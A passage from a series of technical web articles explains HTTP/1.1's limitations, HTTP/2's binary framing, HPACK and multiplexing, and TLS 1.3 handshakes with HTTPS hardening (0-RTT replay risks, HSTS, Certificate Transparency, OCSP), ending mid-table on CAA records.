- CDN deployment provides HTTP/3 with minimal operational overhead

### References

**Specifications:**

- [RFC 9000: QUIC Transport](https://datatracker.ietf.org/doc/html/rfc9000) - Core QUIC protocol (May 2021)
- [RFC 9001: Using TLS to Secure QUIC](https://datatracker.ietf.org/doc/html/rfc9001) - TLS 1.3 integration (May 2021)
- [RFC 9002: QUIC Loss Detection and Congestion Control](https://datatracker.ietf.org/doc/html/rfc9002) - Recovery mechanisms (May 2021)
- [RFC 9114: HTTP/3](https://datatracker.ietf.org/doc/html/rfc9114) - HTTP/3 specification (June 2022)
- [RFC 9204: QPACK](https://datatracker.ietf.org/doc/rfc9204/) - Header compression (June 2022)
- [RFC 9368: Compatible Version Negotiation](https://datatracker.ietf.org/doc/html/rfc9368) - Version negotiation (May 2023)
- [RFC 9369: QUIC Version 2](https://datatracker.ietf.org/doc/rfc9369/) - Ossification resistance (May 2023)
- [RFC 9460: SVCB and HTTPS DNS Records](https://datatracker.ietf.org/doc/html/rfc9460) - Protocol discovery (November 2023)
- [RFC 8999: Version-Independent Properties of QUIC](https://www.rfc-editor.org/rfc/rfc8999.html) - Protocol invariants (May 2021)
- [RFC 8470: Using Early Data in HTTP](https://datatracker.ietf.org/doc/html/rfc8470) - 0-RTT handling (September 2018)

**Implementation Guides:**

- [Nginx QUIC and HTTP/3](https://nginx.org/en/docs/quic.html) - Server configuration
- [Cloudflare HTTP/3](https://blog.cloudflare.com/http3-the-past-present-and-future/) - Production deployment
- [Can I Use: HTTP/3](https://caniuse.com/http3) - Browser support matrix

**Technical Analysis:**

- [QUIC Ossification Measurements](https://pulse.internetsociety.org/blog/now-theres-a-way-to-measure-quic-targeting-by-middleboxes) - Middlebox interference data
- [Protocol Ossification](https://en.wikipedia.org/wiki/Protocol_ossification) - TCP deployment challenges

---

## HTTP/1.1 to HTTP/2: Bottlenecks and Multiplexing

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/http1-1-to-http2-evolution
**Category:** Web Foundations / Networking & Protocols
**Description:** How HTTP/1.1’s request-response model and application-layer head-of-line (HOL) blocking led to HTTP/2’s binary framing, HPACK header compression, and stream multiplexing. This article covers the architectural constraints, design trade-offs, and remaining TCP-layer limitations that motivated HTTP/3.

# HTTP/1.1 to HTTP/2: Bottlenecks and Multiplexing

How HTTP/1.1's request-response model and application-layer head-of-line (HOL) blocking led to HTTP/2's binary framing, HPACK header compression, and stream multiplexing. This article covers the architectural constraints, design trade-offs, and remaining TCP-layer limitations that motivated HTTP/3.

<figure>

![HTTP/1.1's workarounds (multiple connections, text headers) replaced by HTTP/2's single-connection multiplexing, with TCP HOL blocking as the remaining constraint addressed by HTTP/3](./http-1-1-s-workarounds-multiple-connections-text-headers-replaced-by-http-2-s-si.svg)

<figcaption>HTTP/1.1's workarounds (multiple connections, text headers) replaced by HTTP/2's single-connection multiplexing, with TCP HOL blocking as the remaining constraint addressed by HTTP/3</figcaption>

</figure>

## Abstract

**Mental model**: HTTP/1.1 treats a TCP connection as a single-lane road where one slow response blocks everything behind it. HTTP/2 turns that road into multiple independent lanes (streams) over the same TCP connection, but the underlying TCP still delivers packets in order—so a single lost packet stalls all lanes until retransmission completes.

### Core Trade-offs

| Aspect                      | HTTP/1.1 Approach                    | HTTP/2 Solution                                  | Remaining Constraint                                  |
| --------------------------- | ------------------------------------ | ------------------------------------------------ | ----------------------------------------------------- |
| **HOL blocking**            | Open 6 connections per domain        | Multiplex streams on 1 connection                | TCP delivers in-order; packet loss stalls all streams |
| **Header overhead**         | Repeat verbose headers every request | HPACK compression (static + dynamic tables)      | Dynamic table state must be synchronized              |
| **Resource prioritization** | None (implicit by request order)     | Stream prioritization (deprecated in RFC 9113)   | Inconsistent implementation led to deprecation        |
| **Proactive delivery**      | None                                 | Server push (removed from browsers in 2022-2024) | Wasted bandwidth; replaced by 103 Early Hints         |

### Practical Implications

- **Consolidate origins**: HTTP/2's multiplexing works best with fewer domains; domain sharding is now an anti-pattern
- **TCP loss still hurts**: On lossy networks (mobile, high-latency), HTTP/2 can underperform HTTP/1.1's multiple connections
- **Priority signals ignored**: Most servers and CDNs don't implement RFC 9218 priority; optimize critical resource order server-side

## HTTP/1.1 Architectural Limitations

HTTP/1.1 (standardized in RFC 2068, revised in RFC 9112) introduced persistent connections and pipelining, but fundamental design constraints remained.

### Application-Layer Head-of-Line Blocking

HTTP/1.1 processes requests sequentially on a connection. If a large resource (5 MB image) is in transit, subsequent requests for critical resources (CSS, JS) wait regardless of their importance.

```http
# Connection 1: Blocked waiting for large response
GET /hero-image.jpg HTTP/1.1   # 5 MB transfer
GET /critical.css HTTP/1.1      # Queued behind image
GET /app.js HTTP/1.1            # Queued behind CSS
```

**Pipelining** (sending multiple requests without waiting for responses) was specified but never adopted:

- Servers must return responses in request order—a slow first response blocks faster subsequent ones
- Intermediaries (proxies, CDNs) often don't support pipelining correctly
- Retry semantics are ambiguous: if the connection closes mid-pipeline, clients can't determine which requests succeeded

### Connection Proliferation

Browsers work around HOL blocking by opening multiple TCP connections (typically 6 per hostname). Each connection incurs:

| Overhead         | Cost                                                                  |
| ---------------- | --------------------------------------------------------------------- |
| TCP handshake    | 1 RTT (SYN → SYN-ACK → ACK)                                           |
| TLS handshake    | 1-2 RTT (1 with TLS 1.3, 2 with TLS 1.2)                              |
| Slow start       | Exponential ramp-up from initial cwnd (~10 segments on modern stacks) |
| Memory           | Kernel buffers, socket state per connection                           |
| Server resources | Per-connection thread/event handling overhead                         |

**Domain sharding**—distributing resources across `cdn1.`, `cdn2.`, `cdn3.`—exploited the per-hostname limit but multiplied TLS negotiation costs and defeated HTTP/2 consolidation benefits.

### Header Redundancy

HTTP/1.1 headers are uncompressed text repeated on every request:

```http
GET /api/users HTTP/1.1
Host: api.example.com
Cookie: session=abc123; tracking=xyz789; preferences=dark-mode
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
Accept: application/json
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Cache-Control: no-cache
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Typical header size: 500–2000 bytes per request. For a page making 100 API calls with similar headers, that's 50–200 KB of redundant metadata—often exceeding the initial TCP congestion window (10 × 1460 = 14.6 KB), forcing multiple RTTs before data transfer begins.

## HTTP/2 Design Decisions

HTTP/2 (RFC 7540, superseded by RFC 9113 in 2022) addressed HTTP/1.1's limitations through binary framing and stream multiplexing.

### Why Binary Framing

HTTP/2 replaced text parsing with a fixed 9-octet frame header:

```
+-----------------------------------------------+
|                 Length (24 bits)              |
+---------------+---------------+---------------+
|   Type (8)    |   Flags (8)   |
+---------------+---------------+---------------+
|R|            Stream Identifier (31 bits)      |
+-----------------------------------------------+
|                Frame Payload (0-16,777,215)   |
+-----------------------------------------------+
```

**Design rationale** (RFC 9113):

- Eliminates text parsing ambiguity (no whitespace handling, line folding edge cases)
- Fixed-size header enables constant-time frame boundary detection
- Type field allows protocol extensibility without version negotiation
- Stream identifier enables per-stream processing

**Trade-off**: Not human-readable; requires tooling like `nghttp2` or Wireshark's HTTP/2 dissector for debugging.

### Stream Multiplexing

Streams are independent, bidirectional sequences of frames sharing a single TCP connection:

![Diagram](./diagram-1.svg)

**Stream identifier rules** (RFC 9113 Section 5.1.1):

- Client-initiated: odd numbers (1, 3, 5, ...)
- Server-initiated (push): even numbers (2, 4, 6, ...)
- Stream 0: reserved for connection-level frames (SETTINGS, PING, GOAWAY)
- Maximum: 2³¹ - 1 streams per connection lifetime

### HPACK Header Compression

HPACK (RFC 7541) was designed specifically to avoid vulnerabilities in DEFLATE-based compression.

**Why not DEFLATE?** SPDY initially used DEFLATE, which enabled the CRIME attack: attackers could inject data and observe compressed size changes to guess header values character-by-character. HPACK forces guesses to match entire header values, making brute-force impractical for high-entropy secrets.

**Compression mechanism**:

| Component        | Size                      | Purpose                                                          |
| ---------------- | ------------------------- | ---------------------------------------------------------------- |
| Static table     | 61 entries                | Predefined common headers (`:method: GET`, `:status: 200`, etc.) |
| Dynamic table    | 4,096 bytes default       | Connection-specific header cache (FIFO eviction)                 |
| Huffman encoding | Variable (5-30 bits/char) | Static code table for string compression                         |

**Entry size calculation** (RFC 7541 Section 4.1): `name_length + value_length + 32 octets`

The 32-octet overhead accounts for implementation costs (pointers, reference counts). A dynamic table limited to 4,096 bytes typically holds 50-100 entries.

**Compression efficiency**: Typical HTTP/1.1 headers (2-3 KB) compress to 100-300 bytes. Subsequent requests with identical headers compress to ~10 bytes (index references only).

**Security: never-indexed literals** (RFC 7541 Section 6.2.3): Sensitive headers (`Authorization`, `Cookie`, `Set-Cookie`) should use never-indexed representation, preventing intermediaries from caching them in dynamic tables.

### Flow Control

HTTP/2 implements per-stream and per-connection flow control via credit-based windows:

| Setting                   | Default                | Range          |
| ------------------------- | ---------------------- | -------------- |
| Initial stream window     | 65,535 bytes (2¹⁶ - 1) | 0 to 2³¹ - 1   |
| Initial connection window | 65,535 bytes           | 0 to 2³¹ - 1   |
| Max frame size            | 16,384 bytes (2¹⁴)     | 2¹⁴ to 2²⁴ - 1 |

**Design rationale**: Prevents fast senders from overwhelming slow receivers. Unlike TCP's implicit flow control, HTTP/2's explicit windows operate between application endpoints, not transport endpoints—enabling fine-grained backpressure per stream.

**WINDOW_UPDATE frames** grant additional credit. Setting window to 2³¹ - 1 and continuously replenishing effectively disables flow control (useful for high-throughput streaming).

### Priority System (Deprecated)

RFC 7540 specified a complex dependency tree where streams could depend on others with weighted priorities (1-256).

**Why it failed** (RFC 9113 Section 5.3):

- Clients expressed priorities inconsistently
- Many server implementations ignored priority signals entirely
- CDNs and proxies often didn't propagate priority information
- Complexity didn't yield measurable performance gains

**Current status**: RFC 9113 deprecates the priority tree but maintains backward compatibility. RFC 9218 defines a simpler `Priority` header with urgency (0-7, default 3) and incremental flags, but browser support is HTTP/3 only.

### Server Push (Removed from Browsers)

Server push allowed servers to send responses proactively via PUSH_PROMISE frames.

**Design intent**: Server anticipates client needs (e.g., push CSS when HTML is requested) to eliminate a round trip.

**Why it failed**:

- Servers rarely know what clients have cached, causing wasted bandwidth
- Pushed resources compete for bandwidth with explicitly requested resources
- Push races with client requests, creating complexity
- Implementation overhead didn't justify marginal latency gains

**Browser removal timeline**:

- Chrome 106 (September 2022): Disabled server push by default
- Firefox 132 (October 2024): Removed server push support entirely
- HTTP/3: Never implemented push in browsers

**Alternative**: 103 Early Hints status code allows servers to send `Link` headers with preload hints before the full response, achieving similar latency reduction without push complexity.

## TCP Head-of-Line Blocking

HTTP/2 solved application-layer HOL blocking but exposed a transport-layer constraint: TCP's in-order delivery guarantee.

![Diagram](./diagram-2.svg)

**Impact**: A single lost packet stalls all HTTP/2 streams, even those with complete data in the receive buffer. On networks with 1-2% packet loss, HTTP/2's single connection can underperform HTTP/1.1's multiple connections (which experience independent loss).

**RFC 9113 Section 9** explicitly acknowledges: "TCP head-of-line blocking is not addressed by this protocol."

This limitation directly motivated HTTP/3's use of QUIC, which provides independent stream delivery over UDP.

## Protocol Negotiation

### ALPN (Application-Layer Protocol Negotiation)

Browsers require TLS for HTTP/2, using the ALPN extension (RFC 7301) during the TLS handshake:

![Diagram](./diagram-3.svg)

**Protocol identifiers**:

- `h2`: HTTP/2 over TLS
- `http/1.1`: HTTP/1.1
- `h2c`: HTTP/2 over cleartext (not supported by browsers)

**Key design point**: ALPN negotiation happens during TLS handshake, avoiding an extra RTT for protocol upgrade.

### HTTP/2 Connection Preface

After TLS establishes the connection, both endpoints send a connection preface:

**Client preface** (24 octets + SETTINGS frame):

```
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n
```

This string was chosen specifically because it cannot be interpreted as a valid HTTP/1.1 request, preventing protocol confusion when connecting to HTTP/1.1-only servers.

**Server preface**: SETTINGS frame (must be first frame sent)

**Purpose**: Confirms both endpoints understand HTTP/2 before exchanging application frames.

### Cleartext HTTP/2 (h2c)

RFC 9113 defines HTTP/2 over plaintext via HTTP Upgrade:

```http
GET / HTTP/1.1
Host: example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c
HTTP2-Settings: <base64url-encoded SETTINGS frame>
```

**Browser reality**: No browser supports h2c. HTTP/2 requires TLS in practice, ensuring encryption and simplifying deployment (no mixed HTTP/1.1 and HTTP/2 on port 80).

## Conclusion

HTTP/2 systematically addressed HTTP/1.1's architectural bottlenecks:

- **Binary framing** eliminated text parsing ambiguity and enabled efficient multiplexing
- **Stream independence** solved application-layer HOL blocking
- **HPACK compression** reduced header overhead by 85-95% while avoiding CRIME-style attacks
- **Single connection** eliminated connection proliferation overhead

The remaining TCP HOL blocking constraint—where a single lost packet stalls all streams—motivated HTTP/3's move to QUIC. Features that seemed promising (server push, complex priority trees) were deprecated after real-world deployment revealed implementation inconsistencies and marginal gains.

For deployments: enable HTTP/2 with TLS 1.3, consolidate domains to maximize multiplexing, and monitor TCP retransmission rates on high-loss networks where HTTP/1.1's multiple connections may still outperform.

## Appendix

### Prerequisites

- TCP connection establishment (3-way handshake, congestion control basics)
- TLS handshake fundamentals (ClientHello, ServerHello, ALPN)
- HTTP request-response model

### Terminology

| Abbreviation | Full Form                              | Definition                                                                           |
| ------------ | -------------------------------------- | ------------------------------------------------------------------------------------ |
| HOL          | Head-of-Line                           | Blocking condition where one stalled item prevents subsequent items from progressing |
| HPACK        | HTTP/2 Header Compression              | Header compression algorithm using static/dynamic tables and Huffman encoding        |
| ALPN         | Application-Layer Protocol Negotiation | TLS extension for agreeing on application protocol during handshake                  |
| RTT          | Round-Trip Time                        | Time for a packet to travel from sender to receiver and back                         |
| cwnd         | Congestion Window                      | TCP's limit on unacknowledged in-flight data                                         |
| h2           | HTTP/2 over TLS                        | Protocol identifier for encrypted HTTP/2                                             |
| h2c          | HTTP/2 Cleartext                       | Protocol identifier for unencrypted HTTP/2 (not used by browsers)                    |

### Summary

- HTTP/1.1's sequential request processing and per-hostname connection limits forced domain sharding and resource concatenation workarounds
- HTTP/2's binary framing enables stream multiplexing over a single TCP connection, eliminating application-layer HOL blocking
- HPACK header compression reduces header overhead from kilobytes to hundreds of bytes, specifically designed to prevent CRIME-style attacks
- TCP's in-order delivery creates transport-layer HOL blocking that HTTP/2 cannot solve—motivating HTTP/3/QUIC
- Server push and complex priorities were deprecated due to implementation inconsistency and marginal real-world benefit
- ALPN negotiation during TLS handshake enables HTTP/2 without extra round trips

### References

**Specifications (Primary Sources)**

- [RFC 9113: HTTP/2](https://www.rfc-editor.org/rfc/rfc9113) — Current HTTP/2 specification (supersedes RFC 7540)
- [RFC 9112: HTTP/1.1](https://www.rfc-editor.org/rfc/rfc9112) — HTTP/1.1 message syntax and routing
- [RFC 9110: HTTP Semantics](https://www.rfc-editor.org/rfc/rfc9110) — Version-independent HTTP semantics
- [RFC 7541: HPACK](https://www.rfc-editor.org/rfc/rfc7541) — Header compression for HTTP/2
- [RFC 9218: Extensible Prioritization Scheme for HTTP](https://www.rfc-editor.org/rfc/rfc9218) — Replacement for deprecated RFC 7540 priorities
- [RFC 7301: TLS ALPN](https://www.rfc-editor.org/rfc/rfc7301) — Application-Layer Protocol Negotiation Extension

**Browser Implementation**

- [Chrome: Removing HTTP/2 Server Push](https://developer.chrome.com/blog/removing-push) — Rationale for push removal
- [MDN: Priority header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Priority) — RFC 9218 browser support status

**Historical Context**

- [HTTP/2 Server Push is Dead](https://evertpot.com/http-2-push-is-dead/) — Analysis of push deprecation
- [RFC 7540: HTTP/2](https://www.rfc-editor.org/rfc/rfc7540) — Original HTTP/2 specification (obsoleted by RFC 9113)

---

## TLS 1.3 Handshake and HTTPS Hardening

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/web-foundations/networking-protocols/tls-1-3-handshake-and-https
**Category:** Web Foundations / Networking & Protocols
**Description:** How TLS 1.3 achieves 1-RTT handshakes, enforces forward secrecy by design, and what production HTTPS hardening actually requires—from certificate chains and OCSP stapling to HSTS preload and 0-RTT replay risks.

# TLS 1.3 Handshake and HTTPS Hardening

How TLS 1.3 achieves 1-RTT handshakes, enforces forward secrecy by design, and what production HTTPS hardening actually requires—from certificate chains and OCSP stapling to HSTS preload and 0-RTT replay risks.

<figure>

![TLS 1.3 handshake flow, key derivation hierarchy, and the HTTPS hardening stack that protects production deployments.](./tls-1-3-handshake-flow-key-derivation-hierarchy-and-the-https-hardening-stack-th.svg)

<figcaption>TLS 1.3 handshake flow, key derivation hierarchy, and the HTTPS hardening stack that protects production deployments.</figcaption>
</figure>

## Abstract

TLS 1.3 is a clean-slate redesign that mandates forward secrecy, removes legacy cryptographic baggage, and cuts handshake latency in half. The core insight: by restricting key exchange to ephemeral (EC)DHE and having clients speculatively send key shares in ClientHello, both parties can derive session keys after a single round-trip. Everything after ServerHello is encrypted—including certificates—and the only cipher suites allowed are AEAD (Authenticated Encryption with Associated Data) constructions.

HTTPS hardening extends beyond TLS configuration. HSTS (HTTP Strict Transport Security) prevents protocol downgrade attacks but has a first-visit vulnerability that only preload lists solve. Certificate Transparency makes misissued certificates publicly detectable. OCSP (Online Certificate Status Protocol) stapling was designed to fix revocation checking's privacy and performance problems, but browsers soft-fail on OCSP errors anyway—rendering revocation checking largely theatrical. The industry has shifted toward short-lived certificates as the practical solution.

0-RTT resumption trades security for latency: early data can be replayed across connections, so it's safe only for idempotent requests—and even then, information disclosure remains a risk.

## TLS 1.3 Handshake: Why 1-RTT Is Possible

### The Design Constraint That Changed Everything

TLS 1.2 required two round-trips because key exchange parameters were negotiated before key material was sent. The client proposed cipher suites, the server selected one, then the client generated key exchange values based on that selection. This sequential dependency forced an extra RTT.

TLS 1.3 eliminates this dependency through two design decisions:

1. **Restricted key exchange to (EC)DHE only**—no RSA key transport, no static Diffie-Hellman
2. **Clients speculatively send key shares** for likely curves in the initial ClientHello

Since the set of acceptable curves is small and well-known (X25519, P-256, P-384), clients can predict which the server will accept. If the prediction is wrong, the server sends a HelloRetryRequest—but this is rare in practice.

> RFC 8446: "The client can simply choose to send DH key shares in the first message instead of waiting until the server has confirmed which key shares it is willing to support."

### Message Sequence: What Crosses the Wire

![Diagram](./diagram-1.svg)

**Phase 1: Key Exchange (Plaintext)**

The ClientHello contains:

- Random 256-bit nonce
- Supported cipher suites (AEAD + hash pairs)
- `supported_versions` extension (must include 0x0304 for TLS 1.3)
- `key_share` extension with (EC)DHE public values
- Optional `pre_shared_key` for resumption

The ServerHello responds with:

- Selected cipher suite
- Server's (EC)DHE key share
- `supported_versions` confirming TLS 1.3

At this point, both parties can compute the shared secret and derive handshake traffic keys.

**Phase 2: Server Parameters (Encrypted)**

EncryptedExtensions carries metadata that was plaintext in TLS 1.2:

- ALPN (Application-Layer Protocol Negotiation) selection
- Server name handling
- Other extensions not required for key exchange

This encryption protects metadata that reveals application behavior—which protocols are in use, which hostname was requested.

**Phase 3: Authentication (Encrypted)**

The Certificate message contains the server's certificate chain. CertificateVerify proves private key ownership by signing the entire handshake transcript hash:

> RFC 8446: "This message provides key confirmation, binds the endpoint's identity to the exchanged keys."

The Finished messages are HMAC-based MACs over the handshake transcript, confirming integrity and providing key confirmation.

### What TLS 1.3 Removed (and Why)

| Removed Feature              | Vulnerability                                                                                            | RFC 8446 Rationale                                                         |
| ---------------------------- | -------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| Static RSA key transport     | No forward secrecy; passive attackers who later compromise the server key can decrypt historical traffic | "All public-key based key exchange mechanisms now provide forward secrecy" |
| Static Diffie-Hellman        | Same forward secrecy problem                                                                             | Ephemeral keys required for all handshakes                                 |
| Server-chosen DHE parameters | LogJam, WeakDH attacks using weak primes                                                                 | Fixed named curves only (P-256, P-384, P-521, X25519, X448)                |
| Compression                  | CRIME attack extracts secrets via compression ratio oracle                                               | Removed entirely                                                           |
| Renegotiation                | Downgrade attacks, injection vulnerabilities                                                             | "Renegotiation is not possible when TLS 1.3 has been negotiated"           |
| CBC mode ciphers             | POODLE, Lucky Thirteen padding oracles                                                                   | AEAD only                                                                  |
| SHA-1 signatures             | Collision attacks (SHAttered, 2017)                                                                      | SHA-256 minimum                                                            |
| DSA                          | Performance, security concerns                                                                           | ECDSA, EdDSA, RSA-PSS only                                                 |

## Forward Secrecy: Non-Negotiable by Design

### Why Ephemeral Keys Matter

In RSA key transport (TLS 1.2), the client encrypts the premaster secret with the server's RSA public key. If an attacker:

1. Records encrypted sessions today
2. Compromises the server's RSA private key years later
3. Can decrypt all historical traffic

This is devastating against nation-state adversaries who archive encrypted traffic for later cryptanalysis.

TLS 1.3 mandates ephemeral (EC)DHE for every connection:

```
Session Key = HKDF(
  ECDHE_shared_secret,  // Ephemeral—discarded after use
  handshake_transcript, // Binds to this specific connection
  context_labels        // Domain separation
)
```

Both client and server generate fresh key pairs per connection. Even if the server's certificate private key is later compromised, past session keys cannot be derived—the ephemeral private keys have been destroyed.

### Key Schedule: Domain Separation

TLS 1.3 derives multiple independent keys from a single handshake using HKDF (HMAC-based Key Derivation Function) with different labels:

![Diagram](./diagram-2.svg)

Each derived key is cryptographically independent. Compromising one doesn't compromise others. This is why handshake encryption uses different keys than application data encryption.

## Cipher Suites: AEAD Only

TLS 1.3 defines exactly five cipher suites, all using Authenticated Encryption with Associated Data (AEAD):

| Cipher Suite                 | Algorithm         | Hash    | Use Case                    |
| ---------------------------- | ----------------- | ------- | --------------------------- |
| TLS_AES_128_GCM_SHA256       | AES-128-GCM       | SHA-256 | Default, widely supported   |
| TLS_AES_256_GCM_SHA384       | AES-256-GCM       | SHA-384 | Higher security margin      |
| TLS_CHACHA20_POLY1305_SHA256 | ChaCha20-Poly1305 | SHA-256 | Mobile, non-AES-NI hardware |
| TLS_AES_128_CCM_SHA256       | AES-128-CCM       | SHA-256 | NIST compliance             |
| TLS_AES_128_CCM_8_SHA256     | AES-128-CCM-8     | SHA-256 | IoT, constrained devices    |

> RFC 8446: "The list of supported symmetric encryption algorithms has been pruned of all algorithms that are considered legacy. Those that remain are all Authenticated Encryption with Associated Data (AEAD) algorithms."

### Cipher Suite Structure Change

TLS 1.2 cipher suites were monolithic, specifying everything in one identifier:

```
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
└─────┬────┘ └─┬─┘     └────┬────┘ └───┬──┘
  Key Exch   Auth      Encryption   MAC
```

TLS 1.3 splits negotiation into three independent selections:

1. **AEAD + Hash** (cipher suite) — symmetric encryption
2. **Key Exchange** — always (EC)DHE, negotiated via `supported_groups`
3. **Signature** — RSA-PSS, ECDSA, EdDSA, negotiated via `signature_algorithms`

This separation enables cleaner security analysis and simpler implementation.

## Session Resumption: PSK and 0-RTT

### How PSK Resumption Works

After a successful handshake, the server sends NewSessionTicket messages containing:

- **ticket**: Opaque blob (server-encrypted session state)
- **ticket_lifetime**: Maximum validity (up to 7 days)
- **ticket_age_add**: Random value to obscure ticket age
- **early_data**: Maximum size of 0-RTT data the server will accept

The client stores this and includes the PSK identity in subsequent ClientHello messages via the `pre_shared_key` extension.

![Diagram](./diagram-3.svg)

### PSK Binder: Cryptographic Binding

The PSK binder prevents attackers from replaying ClientHello messages with different PSKs:

```
binder = HMAC(
  binder_key,           // Derived from PSK
  Transcript(ClientHello[:-binders])  // Everything except binders
)
```

The server validates the binder before accepting the PSK. This binds the PSK to the specific handshake transcript.

### 0-RTT Early Data: The Security Trade-off

0-RTT allows clients to send application data in the first flight, encrypted with keys derived only from the PSK. This data has weaker security properties:

> RFC 8446: "The security properties for 0-RTT data are weaker than those for other kinds of TLS data. Specifically, this data is not forward secret, as it is encrypted solely under keys derived using the offered PSK."

**Critical vulnerability**: 0-RTT data can be replayed.

Unlike regular TLS data (which incorporates the server's random value), 0-RTT data depends only on:

- The PSK
- The client's random value

An attacker who captures 0-RTT packets can replay them to the server. The server has no way to distinguish the replay from the original.

### When 0-RTT Is Dangerous

**Replay attack scenario**:

1. User sends `POST /transfer {"amount": 1000, "to": "attacker"}` via 0-RTT
2. Attacker captures the encrypted ClientHello + early data
3. Attacker replays it within the ticket age window (typically 10 seconds)
4. Server processes the duplicate transfer

**Even idempotent requests have risks**:

- **Information disclosure**: Replaying GET requests reveals the target URL and response to attackers
- **Side effects**: Logging, rate limiting, cache updates still occur
- **Timing attacks**: Response time differences can leak information

### Server-Side Protections

RFC 8446 suggests several anti-replay mechanisms:

1. **Single-use tickets**: Mark tickets as consumed after first use
2. **Timestamp validation**: Reject early data with implausible `obfuscated_ticket_age`
3. **ClientHello recording**: Store unique identifiers and reject duplicates

RFC 8470 adds HTTP-level protections:

- **Early-Data header**: Signals to origin servers that replay is possible
- **425 Too Early**: Servers reject requests they can't safely process via 0-RTT

```http
HTTP/1.1 425 Too Early
Content-Type: text/plain

This request cannot be processed in 0-RTT mode.
Please retry without early data.
```

**CDN behavior** (Cloudflare, Akamai, AWS):

- Accept 0-RTT only for GET, HEAD, OPTIONS
- Reject state-changing methods (POST, PUT, DELETE)
- Add `CF-0RTT-Unique` or similar headers for origin tracking
- Implement short replay windows (shorter than ticket lifetime)

### Forward Secrecy with PSK: (EC)DHE + PSK Mode

PSK-only mode lacks forward secrecy—if the PSK is compromised, all sessions using it can be decrypted.

PSK-(EC)DHE mode combines both:

- PSK provides authentication
- (EC)DHE provides forward secrecy

The session key depends on both the PSK and ephemeral (EC)DHE values. Compromising the PSK alone doesn't allow decryption of past sessions.

## HSTS: Preventing Protocol Downgrade

### The Mechanism

HSTS (HTTP Strict Transport Security, RFC 6797) directs browsers to:

1. Upgrade all HTTP requests to HTTPS automatically
2. Refuse to proceed on certificate errors (no user override)
3. Remember the policy for `max-age` seconds

```http
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
```

| Directive           | Purpose                                         |
| ------------------- | ----------------------------------------------- |
| `max-age`           | Policy duration in seconds (2 years = 63072000) |
| `includeSubDomains` | Apply to all subdomains                         |
| `preload`           | Signal intent for browser preload lists         |

### The First-Visit Vulnerability

HSTS has a bootstrap problem: browsers can't know about a site's policy until after the first visit. If an attacker intercepts that first connection (SSL stripping, protocol downgrade), the policy never reaches the browser.

**Attack scenario**:

1. User types `example.com` (no explicit https://)
2. Attacker intercepts the initial HTTP request
3. Attacker establishes HTTPS to the real server
4. Attacker serves HTTP to the user
5. User never receives HSTS header

### Preload Lists: The Solution

Browser preload lists (maintained by Google, shared across Chrome, Firefox, Safari, Edge) contain domains that must always use HTTPS—before any network request.

**Submission requirements** (hstspreload.org):

- Valid HTTPS on the apex domain
- `max-age` at least 31536000 (1 year)
- `includeSubDomains` directive
- `preload` directive
- All subdomains must support HTTPS

**Operational consideration**: Once preloaded, removal takes months. Ensure all subdomains (including staging, internal tools) support HTTPS before submitting.

## Certificate Transparency: Detecting Misissued Certificates

### The Problem CT Solves

The PKI's fundamental weakness: any trusted Certificate Authority (CA) can issue a certificate for any domain. A compromised or coerced CA can issue a certificate for `google.com` to an attacker.

CT (RFC 9162, replacing RFC 6962) makes all certificate issuance publicly auditable.

### How CT Works

![Diagram](./diagram-4.svg)

**Components**:

1. **CT Logs**: Append-only Merkle trees of certificates
2. **SCTs** (Signed Certificate Timestamps): Promises to include certificate within Maximum Merge Delay (24 hours)
3. **Monitors**: Watch logs for certificates issued to specific domains

**Browser enforcement**:

- Chrome requires SCTs from 2+ independent logs
- SCTs can be delivered via:
  - X.509 extension (embedded by CA)
  - TLS extension (`signed_certificate_timestamp`)
  - OCSP response

### What CT Doesn't Do

CT is detective, not preventive. A misissued certificate can be used for up to 24 hours (the MMD) before appearing in logs. CT enables domain owners to discover misissued certificates—it doesn't prevent their use.

## OCSP and Revocation: The Uncomfortable Truth

### Why Revocation Matters (In Theory)

When a certificate's private key is compromised, revocation should invalidate it before expiration. Two mechanisms exist:

**CRL (Certificate Revocation Lists)**:

- CA publishes list of revoked serial numbers
- Clients download and cache periodically
- Scales well, privacy-preserving
- Stale revocation data

**OCSP (Online Certificate Status Protocol)**:

- Real-time status queries to CA
- Fresh revocation data
- Privacy concern: CA sees which sites you visit
- Reliability concern: OCSP responder becomes critical path

### OCSP Stapling: The Attempted Fix

OCSP stapling (RFC 6066) lets servers fetch OCSP responses and bundle them with the TLS handshake:

![Diagram](./diagram-5.svg)

**Benefits**:

- Privacy: CA doesn't see which clients connect
- Performance: No extra RTT for OCSP
- Reliability: Server can cache responses

### Why Browsers Soft-Fail

The critical design flaw: if OCSP fails (network error, timeout, stapled response missing), browsers proceed anyway.

**Why soft-fail**:

- OCSP responder outages would break the web
- Captive portals block OCSP
- Network latency adds user-visible delay

**The security implication**: An attacker who can MITM the connection can also block OCSP traffic. Soft-fail provides zero protection against active attackers.

> "OCSP is not making anyone more secure. Browsers are either not checking it or implementing it in a way that provides no security benefits." — Let's Encrypt, December 2024

### OCSP Must-Staple: The Failed Experiment

The `OCSP Must-Staple` certificate extension signals that connections without stapled OCSP responses should fail. This would convert soft-fail to hard-fail.

**Why it failed**:

- Unreliable server stapling implementations
- If stapled response expires, site goes down
- No major browser adopted enforcement
- Let's Encrypt never supported it

### The Industry Solution: Short-Lived Certificates

Rather than fixing revocation, the industry moved to certificates valid for days instead of years:

- **90-day certificates**: Let's Encrypt default
- **Automated renewal**: Certbot, ACME protocol
- **Limited exposure**: Compromised key is useful for short window

Let's Encrypt announced OCSP service shutdown (August 2025) because revocation checking provides no real security benefit.

## CAA Records: Authorization Before Issuance

### How CAA Works

CAA (Certification Authority Authorization, RFC 8659) DNS records specify which CAs may issue certificates for a domain:

```dns
example.com.    CAA 0 issue "letsencrypt.org"
example.com.    CAA 0 issuewild "digicert.com"
example.com.    CAA 0 iodef "mailto:security@example.com"
```

| Property    | Purpose                                |
| ----------- | -------------------------------------- |
| `issue`     | Authorize CA for standard certificates |
